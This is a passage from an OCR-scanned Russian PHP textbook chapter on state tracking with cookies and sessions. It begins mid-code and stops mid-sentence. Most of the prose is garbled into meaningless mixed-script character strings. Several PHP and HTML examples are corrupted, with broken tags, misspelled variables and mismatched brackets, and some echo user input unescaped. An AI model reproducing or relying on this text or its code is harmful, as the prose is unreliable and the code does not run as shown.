header('HTTP/1.0 401 Unauthorized');
// Bce, 4O BHIBEAEHO AANEE, NONL3IOBATENL YBUAWUT, TONBKO ECNIN
// naxmet "Otmena”
exit;

}

<|-- nanee cnepyet BAW 3AWMWEHHBIN NAPONEM AOKYMEHT -->

Ecnu BBl 3amuinaere naposeM 6osiee OTHOM CTPAHHUIIbI, TOMECTUTE NPUBENEH-
HBIH BbIllIE KO/ B OTAEJbHBIN (haili 1 noakiioyaiTe ero B Hayajle Kaxa0H 3aliu-
aeMOM CTPaHHUIbL.

Ecau Baw y3en ucnosbdyer CGl-sepcuio PHP, a He moaysis Apache, atu ne-
peMeHHbIe He GYyT YCTaHOBJIEHBI K BaM HYKHO MCIOJIb30BaTh APYTHE METO/IbI
ayTeHTU(hUKALMY, HATIPUMED, MOJIyYeHHe UMEHH N0JIb30BaTeIs U MapoJis yepe3
HTML-dbopmy. HTTP-ayrentuduxauuss B8 PHP BosmoxHa Tospko npu 3amy-
cke PHP kak Apache-monyns.

7.6. Noanepxanue cocToaHus

IIpotoxon HTTP He coxpaHsieT nHGOPMAIKIO O COCTOSIHMH, @ 3TO 03HAYAET, YTO
KaK TOJIbKO BeO-cepBep oOpabaThiBaeT 3alpoC KJIUEHTA 110 BEO-CTpaHUIIEe, COelu-
HEHMe MeX/y KJIMEHTOM M cepBepoM oOpbiBaeTcs. [IpyruMu CJI0BaMH, Cpe/ICTBa-
mu HTTP Het Hukakoro crnocoba pacrosHarb, 4TO MOCJI€J0BAaTETbHOCTb 3aMpo-
COB MTPOUCXOMIUT OT OJTHOTO U TOTO K€ KIUEHTA.

OnHako noaep>xaHue COCTOSTHKSI 3a4aCTYI0 OY€Hb IT0JIE3HO,  HHOT/IA IaXke HeoO-
xonumo. Hanpumep, HanucanHasi Bamu KopauHa fi1si MHTepHET-Mara3uHa He 6y-
JIET HOPMAIbHO PabOTAaTh, ECJIN BbI HE MOXKETE OTCJIEXKUBATH I10CIE0BATENBHOCTD
3ampoCOB OT OJJHOTO MOJIb30BATEJIS], TO €CTb HE MOXKETE MOAAEPKUBATD COCTOSTHHE
B3aMMOJIEMCTBUSI C HUM. BB ODKHBI 3HATH, KOT/Ia OIMH U TOT K€ MOJIb30BaTeNb
MOMelLIaeT TOBap B CBOIO KOP3UHY, KOT/a 100aBIISIET B Hee AOMOJTHUTEIbHbIE TOBA-
PBI, KOI/Ia yAaJIsieT TOBAp U3 KOP3UHbBI M KOT/IA OH peliaeT 0OPMHUTD 3aKa3.

Y1061 OTCIEKUBATH MHPOPMAIIMIO O COCTOSTHUM MEX/Y 3alpOCaMH, MPOrpam-
MHUCTBI IPUAYMaAId MHOTO NPUEMOB (3TH MPHEMbl HAa3bIBAIOTCSl OTCJIEKUBAHU-
eM ceaHca). OMH M3 TaKMX CHOCOOOB HUCIOJIb3YET CKPHITHIE MOJISi (POPMBI /1151
nepenauu uidopmauuu. PHP oOpabaTbiBaeT CKpbIThie 1M0JIs1 HOPMbI TOYHO TaK
XKe, KaKk ¥ 0ObIYHbIE 110151, TO3TOMY 3HAYEHHUs] TAKUX I10JIEH TOCTYITHBI B MACCH-
Bax $_GET u $_POST. VMcnosb3yst CKPBITHIE MOJIsT GOPMBI, BBI MOXETE KaX/IbIH pa3
rnepejaBaTh BCe CoJep)KaHHe KOP3MHbI Mara3auHa OT 3arnpoca K 3anpocy, co3jaBasi
WJLTIO3UIO MOJUIEP>KAHUST COCTOSIHUS B3auMoelcTBus. OHaKo yalle BCEero uc-
MOJIb3YI0T APYTYI0 TEXHUKY, KOTZa B CKPBITOM I0JIe epeaeTcsi ToIbKo I D mosib-



PHP. NonHoe pykOBOACTBO U CNPaBOYHUK QyHKUMIA

3oBareisi. X0Ts CKPbITbI€ ITOJIA NOAAEPXKHUBAKOTCA BO BCEX 6pay3epax, OHH pa60-
TalOT TOJIBKO C NMOCJeA0BaTEJIbHOCTbIO JUHAMHWYECKHU CreHEPUPOBAHHbIX (1:)0pM,
MMO3TOMY OHH 0OBIYHO HE TaK [MOJIE3HDbI, KAK HEKOTOPbIE ADYIrHE€ METObI.

[pyroit meTon - nepe3anucb URL, koraa kaxxabiit tokanbHbiit URL, no kotopo-
MY MOXET lIeJIKHYTb M10J1Ib30BaTe b, JTMHAMHUYECKH MOAUDULIMPYETCS MyTEM J10-
GaBJieHUs1 IONOJHUTENbHOM uHOPMalUK. ITa A0NOJIHUTENbHAsE MHGOpMallus
yacTo yka3biBaetcs kak napametp B URL. HanpuMep, eciiu Bbl HazHauuTe Kax-
JIOMY T0J1b30BaTes0 YHUKanAbHbIK ID, Bol MoxeTe 106aBuTh 3TOT 1D BO BCe ero
URL, nanpumep:

http:/ /www.example.com/catalog.php2userid=123

EcJaiu BbI MOXeTe IMHAaMUYEeCKH U3BMEHUTb BCE JIOKaIbHbIE CCLIKH, 100aBuB 1D
N0JIb30BATEIsl, 3HAYUT, Bbl MOXETE OTCJIEXHBATh OTAEbHBIX MOJb30BaTENei
B BaweM npuioxenuu. [lepesanuce URL paboraet 4151 Bcex AMHAMMYECKH CO3-
JAHHBIX JOKYMEHTOB, a He TOJIbKO 17151 GOpM, HO Ha CAMOM JieJie OCYLIeCTBJIEHHE
nepe3anuck URL MoxeT ObITh 10CTATOYHO MYTOPHBIM.

Tperbeit u HanboJIee IMPOKO MPUMEHSEMOIM TEXHUKOMN SABJISIETCS UCMOJIb30Ba-
e Cookies. Cookie.- aTo HeGonbI0M# 00beM MH(POPMaLIMK, KOTOPbIH cepBep
MOJXeET 1nepeaTh KaueHTy. [1o Kaxa0My nocjieayouemMy 3anpocy KJIMEeHT OTIpa-
BUT 3Ty MH(OPMaLHIO cepBepy, TakuM obpa3om uaeHtuduunpys cebs. Cookies
T0JIE3HBI 7S XPaHEeHUs1 UHGOPMALMK MEX Y TOBTOPHBIMH TOCELIEHUSIMH Cali-
ta. Ho u onu He 6e3 npobseM. OcHOBHasi mpobJeMa 3aKJII04aeTCsl B TOM, 4YTO
GOJIbLIMHCTBO Gpay3epoB MO3BOJISIET M0Jb30BATEISAM OTKI0oYaTh cookie. Takum
06pa3oM, npusioxkeHue OyaeT HyXIaTbCs B IPYTOM MeXaHU3Me Mepefayd MH-
dopMalMK Mex 1y MOBTOPHBIMU BU3HTaMK moab3oBatesi. [Toapo6uo Cookies
OyyT pacCMOTPEHBI YyTh MO3XKE.

Jly4imit cnoco6 oTcieXuBaTh COCTOSIHUE - UCI0JIb30BaTh BCTpOeHHbId B PHP
MEXaHU3M OTCJIEXXUBAHUSI CeCCHil. DTOT MeXaHHU3M M03BOJISIET BaM CO3[aBaThb
NOCTOSIHHbIE NTePEMEHHbIE, KOTOPbIE IOCTYIMHbI C PA3HbIX CTPAHHUI] BalllErO NMpH-
JIOXKEHUSI, TAKXKE 3TH epeMeHHbIe OYyT JOCTYMHbI MEXKAY Pa3HbIMH IOCEILEHHU -
sIMU caiiTa OTHUM U TeM Xe rnojb3oBareieM. [Ipu atom mexanuam ceccuit PHP
ucnosb3yer Cookies (v URL) anst aneranTHOro peuieHust 601bLIMHCTBA MPO-
6J1eM, BO3HMKAIOLIMX MTPH OTCJIEXKMBAHUU cOcTosiHUS. [[ajiee B 3TOi r1aBe Mbl CO-
cpeaoToyuMcs Ha Mexatuame ceccuid PHP, kotopblii rnOKko ucmosib3yeT pa3Hbie
texuuyeckue pewerus (Cookies, ckpbitbie noast dopmbr, URL).

7.6.1. Ucnonb3oBanue Cookies

O6biyro Cookie - aTo cTpoka, coaeprkallasi HeCKoJbKO mnosieil. Cepep MOXeT
ornpasuTb oaHO niu 6osiee Cookie Gpaysepy B 3arosioBkax otBeta. HekoTopbie
nosisi Cookie yka3bIBalOT CTPAHMILBL, /1JIs1 KOTOPbIX Opay3ep A0JKeH OTIIPaBUTh
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Cookie kak yacTb 3anpoca. ITose valve - 3T0 mosie3nas narpyska Cookie. B aTom
1oJie CepBepbl MOT'YT XPaHUTh JI0Oble JaHHbIE (B Npe/esax OrpaHUYeHH i), Ha-
NpUMep, YHUKAJIbHbIN NAEHTU(DUKATOP 0JIb30BATEJIS, TPEANOUTEHHS U T 1.

Ins ycranoBku Cookie ncnosb3yiite GyHKLHIO setcookief):

setcookie(name [, value [, expire [, path [, domain [, secure ]]]]]);

ManHas ¢pyHkuus cosgaet ctpoky Cookie o 3aaHHbIM apryMeHTaM M CO31aeT
3arosoBok Cookie. [Tockosnbky Cookie oTpaB/IsSloTCS Kak 3aroJIOBKH B OTBETE,
(bYHKLHIO setcookie) HYXKHO BbI3BaTb mepej JOObIM BbBIBOAOM M3 JOKYMEH-
Ta. [lapameTpsl setcookie():

® name - yHUKaJbHOE UMs 17151 onpenenenHoit Cookie. ¥ Bac MoxeT ObITh
Heckos1bko Cookies ¢ pa3HbiMU MMeHaMu U atpubytamu. IMsi He 101KHO
coaepxaThb MpoOeJIbl MK JBOETOUUSI.

e valve - 3HaueHue ycraHaBauBaemoro Cookie. OpuruHanbHas crnenudu-
kauus Netscape orpaHuumBaer obumit pasmep Cookie (Bkiouas uMs,
JaTy UCTEYEHHUs CPOKA FOAHOCTH U APYryio uHdpopmaimio) a0 4 K6, nos-
TOMY CaMO 3HayeHHe He I0JIXKHO npeBbimath 3.5 K6.

e expire - 1aTa ucTeuyeHus cpoka rogHoctu Cookie. Ecin nata He yka3aHa,
6paysep Oyznet xpauuth Cookie B namsity, a He Ha aucke. Clie10BaTe bHO,
Kor/a noJib3oBaresib 3akpoet 6paysep, Cookie ucuesner. /lata yka3biBaet-
Cs1 KaK YHCJIO CEKYH/, npouiesuiee ¢ noaHouu 1 ssuBapst 1970 rona (GMT).
Hanpumep, time() + 60 * 60 * 2 ycranoBut Bpems xusuu Cookie,
PaBHOE IBYM YacaM.

e path - 6pay3sep 6yner Bosspaiiath Cookie Tonbko aust atoro nytu URL.
3HayeHuUe 10 yMOTYAHUIO - KaTaJIoT, B KOTOPOM HaXOAUTCS TEKy1asi CTpa-
nuta. Hanpumep, eciu crpannua /store/front/cart.php ycranosut Cookie
U He YKaXeT MyTb, cookie OymeT oTnpaB/siThbCs Ha CepBEp /JIs1 BCEX CTpa-
uuil, yei URL HauuHaeTcs co /store/front/.

e domain - Opaysep 6yaner ornpasasth Cookie ans URL, oTHOcsmmxcs
K 3aJaHHOMY IoMeHY. J/IOMEH MO yMOJIYAHHIO - 3TO UMS y3J1a CEpBepa.

® secure - Opaysep Oymer mepenaBatb Cookie Tonbko mo Ge3onacHomy
https-coennuenuto. Ilo yMomyaHuio 3HayeHHe 3TOrO MapamMeTpa PaBHO
false, uto o3nauaet, uto Cookie Gyner nepemaBaTth no Hebe30macHbIM
coennnenusiM. Korna 6paysep ornpasisier Cookie obpaTtHo Ha cepsep,
Bbl MOXeTe NosyyuTh Aoctyn k aToMy Cookie uepe3 maccus $_COOKIE.
Kuou - umst Cookie, a 3HaueHue - 3T0 3HaueHue 1o valve. Hanpumep,
CJIeAyIOLIMHA KO/ B Hayasle CTPAHUIIbI TOACYUTHIBAET, CKOJIBKO Pa3 CTPaHU-
11a 6blJ1a 3anpolIeHa KIHEHTOM:

$pageAccesses = $_COOKIE['accesses'];
setcookie('accesses', ++$pageAccesses);
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IIpu packoauposanuu Cookies sobas Touka (.) B umenu Cookie Gyaer npeo6-
pa3oBaHa B 3Hak nopyepkuBanus. Hanpumep, ecau y Cookie 6b110 UMS tip.top,
BbI CMOXETe MOJIYYUTb HOCTYI K ero 3HaueHu1o Tak: $_COOKIE['tip_top'];

IIpumep 7.10 noxasbiBaer HTML-cTpaHuily, NpefoCcTaBisIOIYIO DS/ OMUHUN
1Jist BbiOopa 1BeTa (oHa M 1BETA NePeHEro MJIaHa.

L R R P e R e T,

Npumep 7.10. BuiGop npeanoutenns (colors.php)

<htm|>
<head><tifle>Ycranosute Bawe npeanoutenns</title></head>
<body>
<form action="prefs.php” method="post">
<p>Ulsert ¢oHa:
<select name="background”>
<option value="black”>YepHuit</option>
<option value="white” >benuit</option>
<option value="red" >KpacHuiit</option>
<option value="blue”>Cunnit</option>
</select><br />
Uset nepeanero nnawa:
<select name="foreground”>
<option value="black”>4YepHuii</option>
<option value="white”>bensit</option>
<option value="red">Kpachwiit</option>
<option value="blue">Cunnii</option>
</select></p>
<input type="submit” value="amennts npeanoutenns”>
</form>
</body>
</html>
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®opma B npumepe 7.10 ornpasisier naHusie PHP-cuenapuio prefs.php, koro- .
pblii moKa3aH B mpuMepe 7.11. ITOT cueHapuii yctaHaBauBaeT cookies s npe-
NOYTEHUH 1IBeTa, yKa3aHHBIX B (opme. 3ameTsre, UTO BBI3OBBI setcookies|)
JIOJKHBI OBITH ClleJIaHbl 0 Hayaua coaepxkaresbHoro HTML-kozia cTpaHub.

Npumep 7.11. Ycranoeka npegnouternit ¢ nomouisio Cookies (prefs.php)

<html>
<head><title>Ycranoska npepnoutennii</title></head>
<body>
<2php
$colors = array|
'black' => “#000000",
‘white' => “#Hfff”,

SIS NN RN NN NN SN E R
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'red' => "#f0000",
'blue' => "#0000ff"
);

$backgroundName = $_POST['background'];
$foregroundName = $_POST['foreground'];
setcookie('bg', $colors[$backgroundName]);
setcookie('fg', ‘$co|ors[$foregroundNome]];

2>
<p>Cnacubo. Bawm npeanouterms Gbinu nameHersl tak:<br />
®oH: <2= $backgroundName; 2><br />
MNepeanni nnax: <2= $foregroundName; 2></p>
<p>LLenknute <a href="prefs_demo.php”>3necs</a>, 4to6bl yBuaets npeanouteHus s
Aevicrenn.</p>

</body>
</html>
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Crpanuua u3 npumepa 7.11 conep>HUT CCbLIKY Ha APYryIo CTPAaHUILY, TIOKAa3aH-
Hy10 B npuMepe 7.12, koTopasi UCMOJIb3yeT NMpeANOYTeHUs], Noayyasi AOCTYT
K MaccuBy $_COOKIE.

Mpumep 7.12. Ucnonb3oBanune npegnouterni (prefs_demo.php)

<html>
<head><title>InasHeiin sxon</title></head>
<2php
$backgroundName = $_COOKIE['bg"];
$foregroundName = $_COOKIE['fg'];
2>
<body bgcolor="<2= $backgroundName; 2>" text="<2= $foregroundName; 2>">
<h1>[o6po noxanoeats e Haw maraaun!</h1>
<p>Y Hac ecTb MHOrO KQ4eCTBEHHBIX NPOAYKTOB Ans Bac. He
cTecHsTeCk 06paLATLCS 30 NOMOLWLIO K KOHCynbTaHTam. Opxako
NOMHMTE, ECNK Bbl YTO-TO CAOMANHM, TO Bbl 3TO KynMAM!

<p>Bbi xotuTe <a href="colors.php”>uamenuts Bawm
npeanoutenns?</a></p>
</body>
</htmi>

Ectb MHOTO npuuuH He ucnosib3oBaTbh Cookies. He Bce KMeHThbI oaaepKUBaoT
win npunumaiot Cookies, u naxe eciu 6paysep nopnepxusaer Cookies, mosb-
30BaTe/Ib MOXKET UX OTKJII04YUTb. BoJiee Toro, pasmep Cookie orpanuyeH 4 Kujo-
Gaiitamu, 17151 onHoro aoMena paspeieHo Bcero 20 Cookies, a Bcero Ha CTOpoHe
KJIMEHTa MOXeT XpaHuTbcs He 6osiee 300 cookies (co Bcex 1OMEHOB). Y HEKOTO-
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pbix 6pay3epoB 3TH 3HAYEHUSI MOTYT OBITh yYBETMYEHbI, HO 0C000 PACYUTHIBATD HA
3To He caenyeT. K ToMy e Bbl He MOXKeTe KOHTPOJIMPOBaTh UCTeYeHHe CPOKaA IoI-
HocTH cookie - eciu Opaysep moson (yxe xpauut 300 cookies) u HyxHO coxpa-
HUTb elile 0HO cookie, 6pay3ep MoxeT yaanuTh cookie, 1axe eciu ero CpoK roj-
HOCTH ellle He Bbiules. Takxke HyXHO ObITb MPefeNbHO OCTOPOXXHBIMH TIPH YCTa-
HOBKe cookie, CPOK rOZHOCTH KOTOPBIX OBICTPO HCTeKaeT. BpeMms ncTeyenusi-cpo-
Ka OCHOBBIBAETCSI Ha Yacax KJIMEHTa, KOTOPbIE MOTYT ObITh HE TAKMMH TOUHBIMH,
KakK BalId. Y MHOTHX I0JIb30BaTeJiell CHCTEMHbIe Yachl YCTAHOBJIEHBI He TOYHO,
MI03TOMY BbI HE MOXKETE MOJOXKUTHCS Ha cookie ¢ OBICTPHIM CPOKOM MCTEYEHHSI.

HecMmoTps Ha 3TH orpaHnyeHus1, cookies oueHb 1oJe3Hbl 115 nepegayy nHbop-
MallM¥ MeXY MTOBTOPSIIOIMMHCS BU3UTAMHU MOJIb30BATEJIS HA BAlll CAlT.

7.6.2. Ceccumn

Y PHP ectb BcTpoenHasi moanaepxka ceccuit. MexaHu3M cecCHii TPOM3BOIUT 32
BaC BCe MaHMMYJSIMU C cookies, obecrieunBasi MOCTOSIHHbIE NEPEMEHHbIE, 10-
CTYTIHbIE C Pa3JIMYHBIX CTPAHUI[ U MEXIY PasHbIMU nocellleHusiMu caiita. Cec-
CHU TMO3BOJISIIOT BaM JIETKO CO371aBaTh MHOTOCTPaHWYHble (OpMbI (TakKe Kak
KOP3WHbI HHTEPHET-Mara3nHa), COXpaHsaTh HHGopMaluo 06 ayreHTHhUKALMH
N10JIb30BaTeJIsI [IPU €ro NepPexo/iax OT CTPAHHUIIBI K CTPAHULIE, @ TAKXKE COXPAHSTh
NOCTOSTHHYI0 HH(GOPMAIHUIO O MPeANOYTEHUSIX TOJIb30BaTE NS Ha CaliTe.

Karxaplii, KTO MepBbIii pa3 MOCETHT Balll CANT, MOJy4YaeT YHUKAJIbHbIH HAEHTHHU-
katop ceccuu. [lo ymonuanuio unentugukarop ceccuu (session ID, SID) xpa-
uutca B cookie ¢ nmenem PHPSESSID. Ecain 6pay3sep He nmopmepxuBaer cookies
WJIH T10J1b30BaTEb BHIKIIOUKI TIPHEM cookies, MaeHTH(HUKATODP CECCHI PACTIPO-
crpausiercs yepe3 URL B npenenax caiita.

Y Kax[moii ceccuU eCcTh XpaHUJIHUIIIE JaHHBIX, CBsI3aHHOE ¢ Hel. Bbl MoxeTe pe-
TUCTPUPOBATh T€PEMEHHbIE, KOTOpPble OYIyT 3arpyXKeHbl W3 XPaHWJIMINA [aH-
HbBIX TIPH 3aMyCKe KAXIO0ro ClleHapHs, U KOTOpble OYAYT COXPAHSATHCS B XPaHH-
JIM1Ile TaHHbIX TIPH 3aBepliieHHH paboThI ClieHapHsi. 3aperuCcTPHPOBaHHbIE MEpPe-
MEHHbIE SBJISIOTCS MOCTOSTHHBIMU MEXY CTPAHUIIAMHU, 2 U3MEHEHUST 3HAUeHUI
nepeMeHHbIX OIHOI CTpaHulell BUIMMBI IpyruM cTpaHuiiaM. Hanpumep, koraa
OIHA CTPaHMI1IA U3MEHSET COAEPXKUMOE KOP3UHBI MT0JIb30BATEIsA, TO 3TH U3MEHe-
HUS Ccpa3y “yBUAAT OCTajibHblE CTPAHHI[Bl MHTEPHET-Mara3uHa.

OcHoBbI ceccuii

Ceccuu 3anyckaroTcs aBToMaTHuecku npu 3anycke PHP-cuenapus. IIpu Heo6-
xoauMocTH Oy et creneprpoBat HOBbIN [ D ceccuu, BO3M0Xx0 GyIeT co31aH U OT-
npasJieH Gpay3epy cookie, a Takxke U3 XpaHHIHIIA OyAyT 3arpyKeHbl MOCTOSTH-
HbIE TIEPEMEHHBIE.



Inaga 7. Web-Texnonoruu

Bel MoXeTe 3aperucTpupoBaTh epeMeHHYIO B CECCUHU, YKA3aB UMsI TePeMEeHHON
B MaccuBe $_SESSION. Hanpumep, cienyoniuii npuMep co3aeT CYeTYUK 3arpy-
30K CTPaHUIIbI:

session_start();
$_SESSION['hits'] = $_SESSION[‘hits'] + 1;
echo "3ta crpanmnua 6bina npocmotpena {$_SESSION['hits’]} paa.”;

DyHKIMS  session_start()  3arpy’KaeT  3aperMCTPUPOBAaHHbIE  MepeMeHHbIe
B acCOIMaTUBHBIN MaccuB $_SESSION. Kioun MaccuBa - 3TO MMeHa NepeMeH-
HbIX, Hampumep. $_SESSION[hits']. Ecau BaM J0GOMBITHO, TO C MOMOIIbIO
(pyHKLUMU session_id() BbI MOKeTe MOAYYUTh TeKyuuit [D ceccum.

Hns 3aKpbITUA CECCUH HCIIOJb3YETCSA (byHKIlI/ISI session_destroy(). OHa yaanser
XPpaHWJIMLLIE JaHHBIX, CBSI3aHHOE C TEKYLIel ceccueii, HO He yaamsieT cookie 13 Kaia
6pay3epa. 3Jto o3Hayaer, yTo ID ceccuu y mosb3oBarens 6y,£leT TaKoe Xe, KaK U 10
BBI30Ba session_destroy(), HO BCe CBSI3aHHbIE C HUM JaHHbIE 6y11yT TMMOTEPSHBI.

ITpumep 7.13 moka3sbiBaeT ko npumepa 7.11, nepenucaHHbIil ¢ UCTIOAb30BAHU-
eM ceccHii BMecTo cookies.

L L L

Npumep 7.13. YcTaHOBKA NPeANOYTEHKIA C NOMOLLLIO ceccuit (prefs_session.php) :

L e R R R R T N E

<html>

<heod><title>Ycranoeka npepnoutennin</title></head>
<body>

<2php

session_start();

$colors = array(
'black' => "#000000",
'white' => “#{fffff",
red’ => "#ff0000",
'blue’ => "#0000f"

)i

$backgroundName = $_POST['background'];
$foregroundName = $_POST['foreground'];

$_SESSION['backgroundName'] = $backgroundName;
$_SESSION['foregroundName'] = $foregroundName;
> :
<p>Cnacnbo. Bawn npeanourenns Gbinu namenens Tak:<br />
®on: <?= $backgroundName; 2><br />
Mepeanuit nnan: <?= $foregroundName; 2></p>
<p>LLenknute <a href="prefs_session_ demo.php”>3necs</a>, utobbl ysupets
npeanouTeHus B aeicTenun.</p>
</body>
</html>

R Ry
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[Ipumep 7.14 - ato npumep 7.12, nepenurcaHHbIN C UCMIOIb30BaHHEM ceccuil. Kak
TOJIbKO ceccusi Oyzer 3anylueHa, OyAyT co3faHbl nepeMeHHble $bg U $fg 1 ux
CMOXeT UCI0JIb30BaTh BECH CLIEHAPHIA.

Mpumep 7.14. Ucnonb3oBaHue NPesNOYTEHNA, NONYYEHHBIX U3 CECCHMA
{prefs_session_demo.php)

<gphp

session_start() ;

$backgroundName = $_SESSION['bg'] ;

$foregroundName = $_SESSION['fg'] ;

2>

<htm|>

<head><title>Front Door</title></head>

<body bgcolor="<2= $backgroundName; 2> text="<2= $foregroundName; 2>">

<h1>[o6po noxanosatk B Haw maraauui</h1>
<p>Y HQC eCTb MHOrO Ka4eCTBEHHbIX NPOAYKTOB Ans Bac. He
cTecHsiTec 06pALLATLCS 30 NOMOWBIO K KOHCynbTaHTam. OpHako
MOMHMTE, ECIW Bbl YTO-TO CIIOMANM, TO Bbl 3TO KynMu!

<p>Bel xoTute <a href="colors.php”>namenuts Bawm
npeanouTeHna?</a></p>
</body>
</html>

T R N

ITo ymomuauuio Cookie, xpausiiee ID ceccuu yHMYTOXAETCS NMPH 3aKPHITHH
6pay3epa. [103TOMy ceccuu He COXPaHSIIOTCS, €CJIH M0JIb30BaTENb 3aKPOeT Opa-
y3ep. YTo6bI M3MEHUTD 3TO NOBEIEHHE, YCTAHOBHUTE BPeMsi )KHU3HH cookies (or-
1Ust session.cookie_lifetime B php.ini, BpeMsi )KM3HU 331a€TCS1 B CEKYHAAX ).

AnbtepHaTtuebl Cookies

ITo ymomuanuio ID ceccuu nepenaercst ot crpanuiibl K crpatuie B Cookie ¢ ume-
HeM PHPSESSID. B To xe BpeMsl, MeXaHU3M CecCUil MOAAEP>KUBAET JBe ajbTep-
HaTUBbI UCT0JIb30BaHUI0 Cookies, 0 KOTOPBIX MbI paHee TOBOPHJIH: M10JIsi HOPMBI
n URL. [lepenaua ID ceccuu yepe3 CKpPBITHIE [10JIs1 YPE3BbIYAMHO HEYTOOHO, 110~
CKOJIbKY 3TO BBIHYK/JIa€T BaC KaXX1y10 CChLIKY MeX/ly CTPAaHULIAMHU JIeJIaTh KHOTI-
Ko# submit ¢opmbl. [laHHBIi MeTOX MbI He OyJeM pacCMaTpUBaTh B AaibHEM-
11IeM, a CBOE BHUMaHue oOpaTuM Ha nepeaedy ID ceccun yepes URL.

Mexanuam nepenauu ID ceccuu ¢ nomousio URL 6osee aneranten. PHP mo-
xeT nepe3anucbiBath Baiin HTML-daitnsl, nobasass ID ceccun kaxaoi ot-
HOCHTEeJIbHOM ccblike. OnHaKo, yTobsI 3TO pabotano, PHP nomxen 6bTh ckoM-
NUJIMPOBaTh C ONUUENH -enable-trans-id. [IpU 3TOM HYXHO OTMETHTb, YTO
AaHHBII crocob CylIecTBEHHO CHHXKAeT NPOU3BOJUTENIbHOCTD, OcKoabKy PHP
NpHUAETCsS MPOAHATU3UPOBaTh M Mepe3anucarh Kaxaywo crpaHuiyy. OcobeHHo
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I0TEPHU B IPOU3BOMTENBLHOCTH GY1yT 3aMETHBI Ha OOJIBILIMX, BBICOKOHATPYXKEH-
HBIX caiitax. [IoaToMy Ha TakuX calTaXx MOXXHO PEKOMEH0BAaTh OCTAHOBUTHCS
Bce-taku Ha Cookies. K Tomy xe npu nepeaaue ID ceccun B URL “3acBeunBaert-
csa” Baur ID ceccuu, 4TO OTKPBIBAET MOTEHIIMATbHBIE BO3MOXHOCTH /IJIsi BCEBO3-
MOJXHBIX aTaK, OPraHU30BAHHBIX 110 MPUHIMIY «ATaka MocpeAHHKa» (man-in-

the-middle)!!.
Monb3oBaTenbckoe XpaHunuige

ITo ymomuanuio PHP xpanut undopmaumio ceccuu B daitax BO BpeMEHHOM Ka-
tajore cepsepa. [Ipu aTOM nepeMeHHbIe KaX[0i CECCUU XPAHSITCSI B OTAEJIbHOM
(aiine. Kaxxnas nepeMenHasi cepyuaiusyetcs B daiiyl B HaajaexaieM ¢opMaTe
(cM. HiKe B 3TOM pasfiesie). Bbl MoXxeTe H3MEHUTH BCe 3TH 3HAYEHUsT B KOHDU-
rypauuoHHoM aiisie php.ini.

Hanpumep, Bbl MOXeTe U3MEHUTD pacroyioxenue ¢GaijioB ceCCHH, YCTAHOBUB
3HauYeHHe OIIMH session.save_path B php.ni. Ecam y Bac ob6uwwmit cepsep,
YCTaHOBUTE BPEMEHHBI KATaJIOT I7e-TO B Mpe/esiaX Baulero cCoOCTBEHHOTO ie-
peBa KaTajoroB, 4TOObI MOJIb30BATEIN HA ITOM XK€ MAIlIHHE HE CMOTJIM MOJYYUTh
AocTyn K BauiuM daitiam.

PHP MoxeT XpaHUTb MH(GOPMALUIO CECCHU B OJIHOM M3 ABYX (POPMATOB: B BCTPO-
enHoM popmare PHP uiau WDDX ((anrsi. Web Distributed Data eXchange —
oOMeH JaHHbIMU pacnpeaeJéHHbIMU Bo BceMupHo#t naytute)). Bor MoxeTe u3-
MeHUTb (GOpMaT, YCTAaHOBUB 3HAYEHHE OIUUU  session.serialize_handler
B BauieM php.ini. OHO MoXxeT ObITb MJIH php (MTOBEEHHE 110 YMOJIYAHHUIO) MJIH
wddx (17151 popmata WDDX).

Kombunuupoeanue Cookies u ceccuit

Jl71st coxpaHeHHUsI COCTOSTHUSI MEX/1Y MTOCELIEHUSIMH T10JIb30BATEJIEM BAILIETO Caid-
Ta, Bbl MOXeTe KOMOWHMPOBATh UCIOJIb30BaHUE cookies U HUCMOJIb30BaHHE Ba-
wero cobctBeHHOro obpaboTurka ceccuu. JIobyio nHGOPMALUIO O COCTOSIHUH,
KOTOPYIO HY>XHO 3a0bITh MPH YXO/Ie MOJIb30BATENS C CailTa, HAPUMEp, Ha Ka-
KO CTPaHH1Ie HAXO/IUJICS [10JIb30BATE b, MOXXHO 06pabaThIBATh C IOMOILBIO CEC-
cuit PHP. JTio6y1o nxgopMaumio o COCTOSHUHU, KOTOPasi J0JKHA ObITh COXpaHe-
Ha, HanpuMep, yHUKaIbHbIN ID nosb3oBaTesi, MOXXHO XpaHUTh B cookies. A no
ID nosib30Batesisi BbI MOXETE MOJYYUTh COCTOSTHHE MOJIb30BATEsl, HATIPUMEP,
MOYTOBBII ajipec, BbiOpaHHOe 0hopMIIEHHE U3 TOCTOSTHHOTO XPAHUIIUILA, HATIPH-
Mep, U3 6a3bl JaHHBIX.

"1 Ataka nocpeaHuKa unu ataka «4enoBek nocepeauHe» (aHrn. Man in the middle (MITM)) — Bua
aTaku B KpunTorpaduu, Koraa 3N0yMbILLNEHHUK NepexBaThiBAET U NoaMEHSEeT coobLeHus, KoTo-
pbiMy 06MEHNBAIOTCH KOPPECNOHAEHTHI, NPU 3TOM HU OAWUH U3 NOCNEAHUX HE AOraabIBaeTcs O ero
NPUCYTCTBUK B KaHane.
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[Tpumep 7.15 no3BoJIsieT NOJb30BaTENIO BHIOMPATH 1[BETA TEKCTa U GOHA U CO-
XPaHATb 9TH 3HaYeHust B cookie. [IpeanoyTeHus XpaHATCS POBHO OJHY HEAEIO
C MOMEHTAa YCTaHOBKH.

O N R R R

Tpumep 7.15. CoxpaHeHne COCTORHMA MeXAyY nocewuermamu (save_stats.php)

T e R R oy

<2php

if($_POST['bgcolor']) {
setcookie('bgcolor', $_POST['bgcolor'], time() + (60 * 60 * 24 * 7));
}

if (isset($_COOKIE['bgcolor'])) {
$backgroundName = $_COOKIE['bgcolor'];

}

else if (isset($_POST['bgcolor'])) {
$backgroundName = $_POST['bgcolor’];

}

else {
$backgroundName = “gray”;

) 2>

<htm!>
. <head><title>Coxpanm ero</title></head>
<body bgcolor="<2= $backgroundName; 2>">

<form action="<2php echo $_SERVER['PHP_SELF']; 2>" method="POST">
<p>Pon:
<select name="bgcolor”>
<option value="gray”>Cepuiii</option>
<option value="white”>benwiit</option>
<option value="black”>YepHuiit</option>
<option value="blue">Cunuit</option>
<option value="green”>3eneHii</option>
<option value="red">KpacHsiii</option>
</select></p>
<input type="submit” />
</form>
</body>
</htm|>

e T, MMM, MMM T T T T T Tt TTTrTTYrTYTTITYTYTTITMTMTIMTDTMThTTTTTTTTTooon

SSL

ITporokon SSL (Secure Sockets Layer) npexoctasieT 6e3o0nacHblit KaHaI, 0 KO-
TOPOMY MOTYT nepeaaBaTbcsi 00br4Hbie 3anpockl 1 0TBeTbl HTTP. S3bik PHP Hu-
